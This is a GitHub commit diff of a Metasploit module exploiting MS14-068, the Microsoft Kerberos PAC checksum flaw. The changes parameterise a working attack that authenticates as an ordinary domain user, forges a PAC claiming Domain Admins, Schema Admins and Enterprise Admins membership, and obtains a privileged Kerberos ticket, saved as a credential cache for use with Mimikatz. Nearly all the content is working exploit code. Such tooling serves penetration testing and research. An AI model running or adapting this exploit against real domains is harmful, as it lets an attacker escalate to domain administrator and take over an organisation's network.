Skip to content

Commit 20ab14d

Browse files
committed
Clean module code
1 parent dabc890 commit 20ab14d

File tree

1 file changed

+54
-33
lines changed

1 file changed

+54
-33
lines changed

modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

Lines changed: 54 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -12,15 +12,20 @@ class Metasploit4 < Msf::Auxiliary
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Dummy Kerberos testing module',
15+
'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability',
1616
'Description' => %q{
17-
Dummy Kerberos testing module
17+
This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
18+
exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
19+
request, allowing a domain user to forge a PAC with arbitrary privileges, including Domain
20+
Administrator. This module outputs a MIT Kerberos Credential Cache with the privileged
21+
ticket, which can be imported, for example, on Mimikatz. It has been tested successfully on
22+
Windows 2008.
1823
},
1924
'Author' =>
2025
[
2126
'Tom Maddock', # Vulnerability discovery
2227
'Sylvain Monne', # pykek framework and exploit
23-
'juan vazquez' # Metasploit module
28+
'juan vazquez' # Metasploit module
2429
],
2530
'References' =>
2631
[
@@ -34,76 +39,92 @@ def initialize(info = {})
3439
'License' => MSF_LICENSE,
3540
'DisclosureDate' => 'Nov 18 2014'
3641
))
42+
43+
register_options(
44+
[
45+
OptString.new('USER', [ true, 'The Domain User', 'juan']),
46+
OptString.new('PASSWORD', [ true, 'The Domain User password', 'juan']),
47+
OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL', 'DEMO.LOCAL']),
48+
OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962', 'S-1-5-21-1755879683-3641577184-3486455962'])
49+
], self.class)
3750
end
3851

3952
def run
4053

41-
connect(:rhost => datastore['RHOST'])
42-
print_status("Sending AS-REQ...")
54+
print_status("#{peer} - Connecting with the KDC...")
55+
connect(:rhost => datastore['RHOST'])
4356

44-
my_key = OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan'))
57+
unicode_password = Rex::Text.to_unicode(datastore['PASSWORD'])
58+
password_digest = OpenSSL::Digest.digest('MD4', unicode_password)
4559

4660
pre_auth = []
47-
pre_auth << build_as_pa_time_stamp(key: my_key)
61+
pre_auth << build_as_pa_time_stamp(key: password_digest)
4862
pre_auth << build_pa_pac_request
4963
pre_auth
5064

65+
print_status("#{peer} - Sending AS-REQ...")
5166
res = send_request_as(
52-
client_name: 'juan',
53-
server_name: 'krbtgt/DEMO.LOCAL',
54-
realm: 'DEMO.LOCAL',
55-
key: my_key,
67+
client_name: "#{datastore['USER']}",
68+
server_name: "krbtgt/#{datastore['DOMAIN']}",
69+
realm: "#{datastore['DOMAIN']}",
70+
key: password_digest,
5671
pa_data: pre_auth
5772
)
5873

59-
unless res.msg_type == 11
60-
print_error("invalid response :(")
74+
unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
75+
print_error("#{peer} - Invalid AS-REP, aborting...")
6176
return
6277
end
6378

64-
print_good("good answer!")
65-
print_status("Parsing AS-REP...")
66-
67-
session_key = extract_session_key(res, my_key)
68-
logon_time = extract_logon_time(res, my_key)
79+
print_status("#{peer} - Parsing AS-REP...")
6980

81+
session_key = extract_session_key(res, password_digest)
82+
logon_time = extract_logon_time(res, password_digest)
7083
ticket = res.ticket
7184

72-
print_status("Sending TGS-REQ...")
73-
7485
pre_auth = []
7586
pre_auth << build_pa_pac_request
7687

88+
groups = [
89+
513, # DOMAIN_USERS
90+
512, # DOMAIN_ADMINS
91+
520, # GROUP_POLICY_CREATOR_OWNERS
92+
518, # SCHEMA_ADMINISTRATORS
93+
519 # ENTERPRISE_ADMINS
94+
]
95+
7796
pac = build_pac(
78-
client_name: 'juan',
79-
group_ids: [513, 512, 520, 518, 519],
80-
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
81-
realm: 'DEMO.LOCAL',
97+
client_name: datastore['USER'],
98+
group_ids: groups,
99+
domain_id: datastore['DOMAIN_SID'],
100+
realm: datastore['DOMAIN'],
82101
logon_time: logon_time,
83102
)
84103

85104
auth_data = build_pac_authorization_data(pac: pac)
86105

106+
print_status("#{peer} - Sending TGS-REQ...")
107+
87108
res = send_request_tgs(
88-
client_name: 'juan',
89-
server_name: 'krbtgt/DEMO.LOCAL',
90-
realm: 'DEMO.LOCAL',
91-
key: my_key,
109+
client_name: datastore['USER'],
110+
server_name: "krbtgt/#{datastore['DOMAIN']}",
111+
realm: datastore['DOMAIN'],
112+
key: password_digest,
92113
logon_time: logon_time,
93114
session_key: session_key,
94115
ticket: ticket,
95-
group_ids: [513, 512, 520, 518, 519],
96-
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
116+
group_ids: groups,
117+
domain_id: datastore['DOMAIN_SID'],
97118
auth_data: auth_data,
98119
pa_data: pre_auth
99120
)
100121

101-
unless res.msg_type == 13
102-
print_error("invalid response :(")
122+
unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
123+
print_error("#{peer} - Invalid TGS-REP, aborting...")
103124
return
104125
end
105126

106-
print_good("Valid TGS-Response")
127+
print_good("#{peer} - Valid TGS-Response, extracting credentials...")
107128

108129
cache = extract_kerb_creds(res, 'AAAABBBBCCCCDDDD')
109130

0 commit comments

Comments
 (0)